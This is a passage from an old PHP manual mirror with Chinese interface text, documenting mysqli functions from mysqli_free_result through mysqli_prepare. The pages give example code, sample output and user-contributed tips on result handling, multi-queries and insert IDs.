    /* Get field information for all fields */
    while ($finfo = mysqli_fetch_field($result)) {

        /* get fieldpointer offset */
        $currentfield = mysqli_field_tell($result);

        printf("Column %d:\n", $currentfield);
        printf("Name:     %s\n", $finfo->name);
        printf("Table:    %s\n", $finfo->table);
        printf("max. Len: %d\n", $finfo->max_length);
        printf("Flags:    %d\n", $finfo->flags);
        printf("Type:     %d\n\n", $finfo->type);
    }
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Column 1:
Name:     Name
Table:    Country
max. Len: 11
Flags:    1
Type:     254

Column 2:
Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_field_seek | 上一级 | mysqli_free_result


mysqli_free_result

(PHP 5)

mysqli_free_result

(no version information, might be only in CVS)

result->free -- Frees the memory associated with a result

Description

Procedural style:

void mysqli_free_result ( mysqli_result result )

Object oriented style (method):

class mysqli_result {

void free ( void )

}

The mysqli_free_result() function frees the memory associated with the result represented by the result parameter, which was allocated by mysqli_query(), mysqli_store_result() or mysqli_use_result().

注: You should always free your result with mysqli_free_result(), when your result object is not needed anymore.

返回值

This function doesn't return any value.

参见

mysqli_query(),
mysqli_stmt_store_result(),
mysqli_store_result() 和
mysqli_use_result().

add a note add a note User Contributed Notes
jon at fuck dot org
12-Jan-2006 02:39
better to wrap the result object in its own class, separate from the connection object wrapper: __destruct() can be used to automatically free the result set. this isn't a terribly new design pattern, either.

just be sure to destroy your result object before you make another query with the same DBI instance if you happen to change the flag to MYSQLI_USE_RESULT. actually, you'll find if you write the code with or without a wrapper class that it looks rather the same.

this code also allows you to track what kind of result set you've created by passing the flag around, although i don't think i'd ever need to use that myself.

class DBI
{
  function __construct()
  {
   $this->dbconn = new mysqli(...);
  }

  function query($sql, $flag = MYSQLI_STORE_RESULT)
  {
   $result = $this->dbconn->query($sql, $flag);
   return new RecordSet($result, $flag);
  }
};

class RecordSet
{
  function __construct($res, $flag = MYSQLI_STORE_RESULT)
  {
   $this->result = $res;
   $this->flag = $flag;
  }

  function __destruct()
  {
   $this->result->free();
  }
};
austregecilio at yahoo dot com dot br
16-Jun-2005 09:52
Using mysqli_free_result in a class, should be like this:

class db{
  .
  .
  .
  public function db_free_res($obj){
   mysqli_free_result($obj);
  }
  .
  .
  .
}

The code in .PHP file:

$obj_con=new db;
$res=$obj_con->db_query("select * from imgs");
$obj_con->db_free_res($res);
add a note add a note

后退 | 起点 | 前进
mysqli_field_tell | 上一级 | mysqli_get_client_info


mysqli_get_client_info

(PHP 5)

mysqli_get_client_info -- Returns the MySQL client version as a string

Description

string mysqli_get_client_info ( void )

The mysqli_get_client_info() function is used to return a string representing the client version being used in the MySQLi extension.

返回值

A string that represents the MySQL client library version

参见

mysqli_get_client_version(),
mysqli_get_server_info() 和
mysqli_get_server_version().

范例

例子 1. mysqli_get_client_info

<?php

/* We don't need a connection to determine
   the version of mysql client library */

printf("Client library version: %s\n", mysqli_get_client_info());
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_free_result | 上一级 | mysqli_get_client_version


mysqli_get_client_version

(PHP 5)

mysqli_get_client_version -- Get MySQL client info

Description

int mysqli_get_client_version ( void )

Returns client version number as an integer.

返回值

A number that represents the MySQL client library version in format: main_version*10000 + minor_version *100 + sub_version. For example, 4.1.0 is returned as 40100.

This is useful to quickly determine the version of the client library to know if some capability exits.

参见

mysqli_get_client_info(),
mysqli_get_server_info() 和
mysqli_get_server_version().

范例

例子 1. mysqli_get_client_version

<?php

/* We don't need a connection to determine
   the version of mysql client library */

printf("Client library version: %d\n", mysqli_get_client_version());
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_get_client_info | 上一级 | mysqli_get_host_info


mysqli_get_host_info

(PHP 5)

mysqli_get_host_info

(no version information, might be only in CVS)

mysqli->get_host_info -- Returns a string representing the type of connection used

Description

Procdural style:

string mysqli_get_host_info ( mysqli link )

Object oriented style (property):

class mysqli {

string host_info

}

The mysqli_get_host_info() function returns a string describing the connection represented by the link parameter is using (including the server host name).

返回值

A character string representing the server hostname and the connection type.

参见

mysqli_get_proto_info().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print host information */
printf("Host info: %s\n", $mysqli->host_info);

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print host information */
printf("Host info: %s\n", mysqli_get_host_info($link));

/* close connection */
mysqli_close($link);
?>

上例将输出：

Host info: Localhost via UNIX socket

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_get_client_version | 上一级 | mysqli_get_metadata


mysqli_get_metadata

(PHP 5)

mysqli_get_metadata -- Alias for mysqli_stmt_result_metadata()

Description

This function is an alias of mysqli_stmt_result_metadata(). For a detailled descripton see description of mysqli_stmt_result_metadata().

注: mysqli_get_metadata() is deprecated and will be removed.

参见

mysqli_stmt_result_metadata().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_get_host_info | 上一级 | mysqli_get_proto_info


mysqli_get_proto_info

(PHP 5)

mysqli_get_proto_info

(no version information, might be only in CVS)

mysqli->protocol_version -- Returns the version of the MySQL protocol used

Description

Procedural style:

int mysqli_get_proto_info ( mysqli link )

Object oriented style (property):

class mysqli {

string protocol_version

}

Returns an integer representing the MySQL protocol version used by the connection represented by the link parameter.

返回值

Returns an integer representing the protocol version.

参见

mysqli_get_host_info().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print protocol version */
printf("Protocol version: %d\n", $mysqli->protocol_version);

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print protocol version */
printf("Protocol version: %d\n", mysqli_get_proto_info($link));

/* close connection */
mysqli_close($link);
?>

上例将输出：

Protocol version: 10

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_get_metadata | 上一级 | mysqli_get_server_info


mysqli_get_server_info

(PHP 5)

mysqli_get_server_info

(no version information, might be only in CVS)

mysqli->server_info -- Returns the version of the MySQL server

Description

Procedural style:

string mysqli_get_server_info ( mysqli link )

Object oriented style (property):

class mysqli {

string server_info

}

Returns a string representing the version of the MySQL server that the MySQLi extension is connected to (represented by the link parameter).

返回值

A character string representing the server version.

参见

mysqli_get_client_info(),
mysqli_get_client_version() 和
mysqli_get_server_version().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print server version */
printf("Server version: %s\n", $mysqli->server_info);

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print server version */
printf("Server version: %s\n", mysqli_get_server_info($link));

/* close connection */
mysqli_close($link);
?>

上例将输出：

Server version: 4.1.2-alpha-debug

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_get_proto_info | 上一级 | mysqli_get_server_version


mysqli_get_server_version

(PHP 5)

mysqli_get_server_version -- Returns the version of the MySQL server as an integer

Description

Procedural style:

int mysqli_get_server_version ( mysqli link )

Object oriented style (property):

class mysqli {

int server_version

}

The mysqli_get_server_version() function returns the version of the server connected to (represented by the link parameter) as an integer.

The form of this version number is main_version * 10000 + minor_version * 100 + sub_version (i.e. version 4.1.0 is 40100).

返回值

An integer representing the server version.

参见

mysqli_get_client_info(),
mysqli_get_client_version() 和
mysqli_get_server_info().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print server version */
printf("Server version: %d\n", $mysqli->server_version);

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print server version */
printf("Server version: %d\n", mysqli_get_server_version($link));

/* close connection */
mysqli_close($link);
?>

上例将输出：

Server version: 40102

add a note add a note User Contributed Notes
tularis at php dot net
30-Aug-2003 07:18
you can use this function to get the version information into 1 array quickly.
<?php
function get_server_version($link){
   $result = mysqli_get_server_version($link);
   $main_version = round($result/10000, 0);
   $minor_version = round(($result-($main_version*10000))/100, 0);
   $sub_version = $result-($minor_version*100)-($main_version*10000);

   return array('main_version'=>$main_version, 'minor_version'=>$minor_version, 'sub_version'=>$sub_version, 0=>$result);
}
?>
add a note add a note

后退 | 起点 | 前进
mysqli_get_server_info | 上一级 | mysqli_info


mysqli_info

(PHP 5)

mysqli_info

(no version information, might be only in CVS)

mysqli->info -- Retrieves information about the most recently executed query

Description

Procedural style:

string mysqli_info ( mysqli link )

Object oriented style (property)

class mysqli {

string info

}

The mysqli_info() function returns a string providing information about the last query executed. The nature of this string is provided below:

表格 1. Possible mysqli_info return values

Query type | Example result string
INSERT INTO...SELECT... | Records: 100 Duplicates: 0 Warnings: 0
INSERT INTO...VALUES (...),(...),(...) | Records: 3 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ... | Records: 1 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE ... | Records: 3 Duplicates: 0 Warnings: 0
UPDATE ... | Rows matched: 40 Changed: 40 Warnings: 0

注: Queries which do not fall into one of the above formats are not supported. In these situations, mysqli_info() will return an empty string.

返回值

A character string representing additional information about the most recently executed query.

参见

mysqli_affected_rows(),
mysqli_warning_count() 和
mysqli_num_rows().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TEMPORARY TABLE t1 LIKE City");

/* INSERT INTO .. SELECT */
$mysqli->query("INSERT INTO t1 SELECT * FROM City ORDER BY ID LIMIT 150");
printf("%s\n", $mysqli->info);

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TEMPORARY TABLE t1 LIKE City");

/* INSERT INTO .. SELECT */
mysqli_query($link, "INSERT INTO t1 SELECT * FROM City ORDER BY ID LIMIT 150");
printf("%s\n", mysqli_info($link));

/* close connection */
mysqli_close($link);
?>

上例将输出：

Records: 150  Duplicates: 0  Warnings: 0

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_get_server_version | 上一级 | mysqli_init


mysqli_init

(PHP 5)

mysqli_init -- Initializes MySQLi and returns a resource for use with mysqli_real_connect()

Description

mysqli mysqli_init ( void )

Allocates or initializes a MYSQL object suitable for mysqli_options() and mysqli_real_connect().

注: Any subsequent calls to any mysqli function (except mysqli_options()) will fail until mysqli_real_connect() was called.

返回值

Returns an object.

参见

mysqli_options(),
mysqli_close(),
mysqli_real_connect() 和
mysqli_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_info | 上一级 | mysqli_insert_id


mysqli_insert_id

(PHP 5)

mysqli_insert_id

(no version information, might be only in CVS)

mysqli->insert_id -- Returns the auto generated id used in the last query

Description

Procedural style:

int mysqli_insert_id ( mysqli link )

Object oriented style (property):

class mysqli {

int insert_id

}

The mysqli_insert_id() function returns the ID generated by a query on a table with a column having the AUTO_INCREMENT attribute. If the last query wasn't an INSERT or UPDATE statement or if the modified table does not have a column with the AUTO_INCREMENT attribute, this function will return zero.

注: Performing an INSERT or UPDATE statement using the LAST_INSERT_ID() function will also modify the value returned by the mysqli_insert_id() function.

返回值

The value of the AUTO_INCREMENT field that was updated by the previous query. Returns zero if there was no previous query on the connection or if the query did not update an AUTO_INCREMENT value.

注: If the number is greater than maximal int value, mysqli_insert_id() will return a string.

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCity LIKE City");

$query = "INSERT INTO myCity VALUES (NULL, 'Stuttgart', 'DEU', 'Stuttgart', 617000)";
$mysqli->query($query);

printf ("New Record has id %d.\n", $mysqli->insert_id);

/* drop table */
$mysqli->query("DROP TABLE myCity");

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCity LIKE City");

$query = "INSERT INTO myCity VALUES (NULL, 'Stuttgart', 'DEU', 'Stuttgart', 617000)";
mysqli_query($link, $query);

printf ("New Record has id %d.\n", mysqli_insert_id($link));

/* drop table */
mysqli_query($link, "DROP TABLE myCity");

/* close connection */
mysqli_close($link);
?>

上例将输出：

New Record has id 1.

add a note add a note User Contributed Notes
will at phpfever dot com
21-Apr-2006 09:40
I have received many statements that the insert_id property has a bug because it "works sometimes".  Keep in mind that when using the OOP approach, the actual instantiation of the mysqli class will hold the insert_id.

The following code will return nothing.
<?php
$mysqli = new mysqli('host','user','pass','db');
if ($result = $mysqli->query("INSERT INTO t (field) VALUES ('value');")) {
   echo 'The ID is: '.$result->insert_id;
}
?>

This is because the insert_id property doesn't belong to the result, but rather the actual mysqli class.  This would work:

<?php
$mysqli = new mysqli('host','user','pass','db');
if ($result = $mysqli->query("INSERT INTO t (field) VALUES ('value');")) {
   echo 'The ID is: '.$mysqli->insert_id;
}
?>
matix.bg a gmail
14-Mar-2006 06:56
Some people are wondering how to get the ids of the rows inserted with loop. Here is it:

<?php
// stmt_init ...
for (;;;) {
  // do some things...
  $stmt->execute();
  $ids[] = $mysqli->insert_id;
}
?>
alan at commondream dot net
04-Nov-2004 03:44
I was having problems with getting the inserted id, and did a bit of testing. It ended up that if you commit a transaction before getting the last inserted id, it returns 0 every time, but if you get the last inserted id before committing the transaction, you get the correct value.
add a note add a note

后退 | 起点 | 前进
mysqli_init | 上一级 | mysqli_kill


mysqli_kill

(PHP 5)

mysqli_kill

(no version information, might be only in CVS)

mysqli->kill -- Asks the server to kill a MySQL thread

Description

Procedural style:

bool mysqli_kill ( mysqli link, int processid )

Object oriented style (method)

class mysqli {

bool kill ( int processid )

}

This function is used to ask the server to kill a MySQL thread specified by the processid parameter. This value must be retrieved by calling the mysqli_thread_id() function.

注: To stop a running query you should use the SQL command KILL QUERY processid.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_thread_id().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* determine our thread id */
$thread_id = $mysqli->thread_id;

/* Kill connection */
$mysqli->kill($thread_id);

/* This should produce an error */
if (!$mysqli->query("CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", $mysqli->error);
    exit;
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* determine our thread id */
$thread_id = mysqli_thread_id($link);

/* Kill connection */
mysqli_kill($link, $thread_id);

/* This should produce an error */
if (!mysqli_query($link, "CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", mysqli_error($link));
    exit;
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Error: MySQL server has gone away

add a note add a note User Contributed Notes
johnjawed at gmail dot com
03-Dec-2004 05:34
Be careful using this before mysqli::close.

Killing the thread before actually closing the connection will leave the connection open! And depending on your max_connections and max_user_connections (by default the same), this could result in a "Max connections reached for **** user" message.
add a note add a note

后退 | 起点 | 前进
mysqli_insert_id | 上一级 | mysqli_master_query


mysqli_master_query

(PHP 5)

mysqli_master_query -- Enforce execution of a query on the master in a master/slave setup

Description

bool mysqli_master_query ( mysqli link, string query )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_kill | 上一级 | mysqli_more_results


mysqli_more_results

(PHP 5)

mysqli_more_results

(no version information, might be only in CVS)

mysqli->more_results -- Check if there any more query results from a multi query

Description

bool mysqli_more_results ( mysqli link )

mysqli_more_results() indicates if one or more result sets are available from a previous call to mysqli_multi_query().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_multi_query(),
mysqli_next_result(),
mysqli_store_result() 和
mysqli_use_result().

范例

See mysqli_multi_query().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_master_query | 上一级 | mysqli_multi_query


mysqli_multi_query

(PHP 5)

mysqli_multi_query

(no version information, might be only in CVS)

mysqli->multi_query -- Performs a query on the database

Description

Procedural style:

bool mysqli_multi_query ( mysqli link, string query )

Object oriented style (method):

class mysqli {

bool multi_query ( string query )

}

The mysqli_multi_query() executes one or multiple queries which are concatenated by a semicolon.

To retrieve the resultset from the first query you can use mysqli_use_result() or mysqli_store_result(). All subsequent query results can be processed using mysqli_more_results() and mysqli_next_result().

返回值

mysqli_multi_query() only returns FALSE if the first statement failed. To retrieve subsequent errors from other statements you have to call mysqli_next_result() first.

参见

mysqli_use_result(),
mysqli_store_result(),
mysqli_next_result() 和
mysqli_more_results().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* execute multi query */
if ($mysqli->multi_query($query)) {
    do {
        /* store first result set */
        if ($result = $mysqli->store_result()) {
            while ($row = $result->fetch_row()) {
                printf("%s\n", $row[0]);
            }
            $result->close();
        }
        /* print divider */
        if ($mysqli->more_results()) {
            printf("-----------------\n");
        }
    } while ($mysqli->next_result());
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* execute multi query */
if (mysqli_multi_query($link, $query)) {
    do {
        /* store first result set */
        if ($result = mysqli_store_result($link)) {
            while ($row = mysqli_fetch_row($result)) {
                printf("%s\n", $row[0]);
            }
            mysqli_free_result($result);
        }
        /* print divider */
        if (mysqli_more_results($link)) {
            printf("-----------------\n");
        }
    } while (mysqli_next_result($link));
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

my_user@localhost
-----------------
Amersfoort
Maastricht
Dordrecht
Leiden
Haarlemmermeer

add a note add a note User Contributed Notes
info at ff dot net
08-May-2006 07:02
Note that you need to use this function to call Stored Procedures!

If you experience "lost connection to MySQL server" errors with your Stored Procedure calls then you did not fetch the 'OK' (or 'ERR') message, which is a second result-set from a Stored Procedure call. You have to fetch that result to have no problems with subsequent queries.

Bad example, will FAIL now and then on subsequent calls:
<?php
$sQuery='CALL exampleSP('param')';
if(!mysqli_multi_query($this->sqlLink,$sQuery))
  $this->queryError();
$this->sqlResult=mysqli_store_result($this->sqlLink);
?>

Working example:
<?php
$sQuery='CALL exampleSP('param')';
if(!mysqli_multi_query($this->sqlLink,$sQuery))
  $this->queryError();
$this->sqlResult=mysqli_store_result($this->sqlLink);

if(mysqli_more_results($this->sqlLink))
  while(mysqli_next_result($this->sqlLink));
?>

Of course you can do more with the multiple results then just throwing them away, but for most this will suffice. You could for example make an "sp" function which will kill the 2nd 'ok' result.

This nasty 'OK'-message made me spend hours trying to figure out why MySQL server was logging warnings with 'bad packets from client' and PHP mysql_error() with 'Connection lost'. It's a shame the mysqli library does catch this by just doing it for you.
Nick
31-Jan-2006 01:34
I have to amend my previous post, I was misusing microtime().  multi_query is faster even for 2 queries on an internal network.

For the record, microtime(TRUE) is what I should have used instead of microtime().
Nick
28-Jan-2006 12:11
I assume this is here for performance, to avoid having to establish a communication link over the network repeatedly.  My tests reveal some serious overhead though.

Communicating on an internal network at 100Mbps I had to combine over 300 queries to see a speed increase, and under that it was faster to do them individually.

I wouldn't recommend using this to combine 3 or 4 queries if all you're after is speed. It may be more worthwhile if your database calls have to go out over the internet.

Here's the benchmark I used:
<?php
$reps = 100;
$db = new mysqli("yourserver.com", "username", "password", "dbname");
$query = "SELECT column FROM table WHERE id=1";

$start = microtime();
for ($i = 0; $i < $reps; $i++) {
   $result = $db->query($query);
   $result->close;
}
$end = microtime();
echo ($end - $start) . "<br>\n";

$start = microtime();
for ($i = 0; $i < $reps; $i++) {
   $myquery .= $query . "; ";
}
$db->multi_query($myquery);
do {
   $result = $db->store_result();
   $result->close;
} while ($db->next_result());
$end = microtime();
echo ($end - $start) . "<br>\n";
?>
add a note add a note

后退 | 起点 | 前进
mysqli_more_results | 上一级 | mysqli_next_result


mysqli_next_result

(PHP 5)

mysqli_next_result

(no version information, might be only in CVS)

mysqli->next_result -- Prepare next result from multi_query

Description

bool mysqli_next_result ( mysqli link )

mysqli_next_result() prepares next result set from a previous call to mysqli_multi_query() which can be retrieved by mysqli_store_result() or mysqli_use_result().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_multi_query(),
mysqli_more_results(),
mysqli_store_result() 和
mysqli_use_result().

范例

See mysqli_multi_query().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_multi_query | 上一级 | mysqli_num_fields


mysqli_num_fields

(PHP 5)

mysqli_num_fields

(no version information, might be only in CVS)

result->field_count -- Get the number of fields in a result

Description

Procedural style:

int mysqli_num_fields ( mysqli_result result )

Object oriented style (property):

class mysqli_result {

int field_count

}

mysqli_num_fields() returns the number of fields from specified result set.

返回值

The number of fields from a result set

参见

mysqli_fetch_field().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = $mysqli->query("SELECT * FROM City ORDER BY ID LIMIT 1")) {

    /* determine number of fields in result set */
    $field_cnt = $result->field_count;

    printf("Result set has %d fields.\n", $field_cnt);

    /* close result set */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = mysqli_query($link, "SELECT * FROM City ORDER BY ID LIMIT 1")) {

    /* determine number of fields in result set */
    $field_cnt = mysqli_num_fields($result);

    printf("Result set has %d fields.\n", $field_cnt);

    /* close result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Result set has 5 fields.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_next_result | 上一级 | mysqli_num_rows


mysqli_num_rows

(PHP 5)

mysqli_num_rows -- Gets the number of rows in a result

Description

Procedural style:

int mysqli_num_rows ( mysqli result )

Object oriented style (property):

class mysqli {

int num_rows

}

Returns the number of rows in the result set.

The use of mysqli_num_rows() depends on whether you use buffered or unbuffered result sets. In case you use unbuffered resultsets mysqli_num_rows() will not correct the correct number of rows until all the rows in the result have been retrieved.

返回值

Returns number of rows in the result set.

注: If the number of rows is greater than maximal int value, the number will be returned as a string.

参见

mysqli_affected_rows(),
mysqli_store_result(),
mysqli_use_result() 和
mysqli_query().

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = $mysqli->query("SELECT Code, Name FROM Country ORDER BY Name")) {

    /* determine number of rows result set */
    $row_cnt = $result->num_rows;

    printf("Result set has %d rows.\n", $row_cnt);

    /* close result set */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($result = mysqli_query($link, "SELECT Code, Name FROM Country ORDER BY Name")) {

    /* determine number of rows result set */
    $row_cnt = mysqli_num_rows($result);

    printf("Result set has %d rows.\n", $row_cnt);

    /* close result set */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Result set has 239 rows.

add a note add a note User Contributed Notes
jon at fuck dot org
05-Jan-2006 02:39
this is stated in the main mysqli section under constants, but isn't stated here: to get a get a buffered result set, use MYSQLI_STORE_RESULT in your query or call mysqli_store_result() when fetching the result set from a prepared query. this allows you to get the right rowcount every time, since your result set is going to be atomic.

don't forget that whether or not you really want to buffer the result set is a different question altogether.
add a note add a note

后退 | 起点 | 前进
mysqli_num_fields | 上一级 | mysqli_options


mysqli_options

(PHP 5)

mysqli_options

(no version information, might be only in CVS)

mysqli->options -- Set options

Description

Procedural style:

bool mysqli_options ( mysqli link, int option, mixed value )

Object oriented style (method)

class mysqli {

bool options ( int option, mixed value )

}

mysqli_options() can be used to set extra connect options and affect behavior for a connection.

This function may be called multiple times to set several options.

mysqli_options() should be called after mysqli_init() and before mysqli_real_connect().

The parameter option is the option that you want to set, the value is the value for the option. The parameter option can be one of the following values:

表格 1. Valid options

Name | Description
MYSQLI_OPT_CONNECT_TIMEOUT | connection timeout in seconds
MYSQLI_OPT_LOCAL_INFILE | enable/disable use of LOAD LOCAL INFILE
MYSQLI_INIT_CMD | command to execute after when connecting to MySQL server
MYSQLI_READ_DEFAULT_FILE | Read options from named option file instead of my.cnf
MYSQLI_READ_DEFAULT_GROUP | Read options from the named group from my.cnf or the file specified with MYSQL_READ_DEFAULT_FILE.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

mysqli_init() 和 mysqli_real_connect().

范例

See mysqli_real_connect().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_num_rows | 上一级 | mysqli_param_count


mysqli_param_count

(PHP 5)

mysqli_param_count -- Alias for mysqli_stmt_param_count()

Description

This function is an alias of mysqli_stmt_param_count(). For a detailled descripton see description of mysqli_stmt_param_count().

注: mysqli_param_count() is deprecated and will be removed.

参见

mysqli_stmt_param_count().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_options | 上一级 | mysqli_ping


mysqli_ping

(PHP 5)

mysqli_ping

(no version information, might be only in CVS)

mysqli->ping -- Pings a server connection, or tries to reconnect if the connection has gone down

Description

Procedural style:

bool mysqli_ping ( mysqli link )

Object oriented style (method):

class mysqli {

bool ping ( void )

}

Checks whether the connection to the server is working. If it has gone down, and global option mysqli.reconnect is enabled an automatic reconnection is attempted.

This function can be used by clients that remain idle for a long while, to check whether the server has closed the connection and reconnect if necessary.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* check if server is alive */
if ($mysqli->ping()) {
    printf ("Our connection is ok!\n");
} else {
    printf ("Error: %s\n", $mysqli->error);
}

/* close connection */
$mysqli->close();
?>

例子 2. Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* check if server is alive */
if (mysqli_ping($link)) {
    printf ("Our connection is ok!\n");
} else {
    printf ("Error: %s\n", mysqli_error($link));
}

/* close connection */
mysqli_close($link);
?>

上例将输出：

Our connection is ok!

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysqli_param_count | 上一级 | mysqli_prepare


mysqli_prepare

(PHP 5)

mysqli_prepare

(no version information, might be only in CVS)

mysqli->prepare -- Prepare a SQL statement for execution

Description

Procedure style:

mysqli_stmt mysqli_prepare ( mysqli link, string query )

Object oriented style (method)

class mysqli {

mysqli_stmt prepare ( string query )

}

mysqli_prepare() prepares the SQL query pointed to by the null-terminated string query, and returns a statement handle to be used for further operations on the statement. The query must consist of a single SQL statement.

注: You should not add a terminating semicolon or \g to the statement.

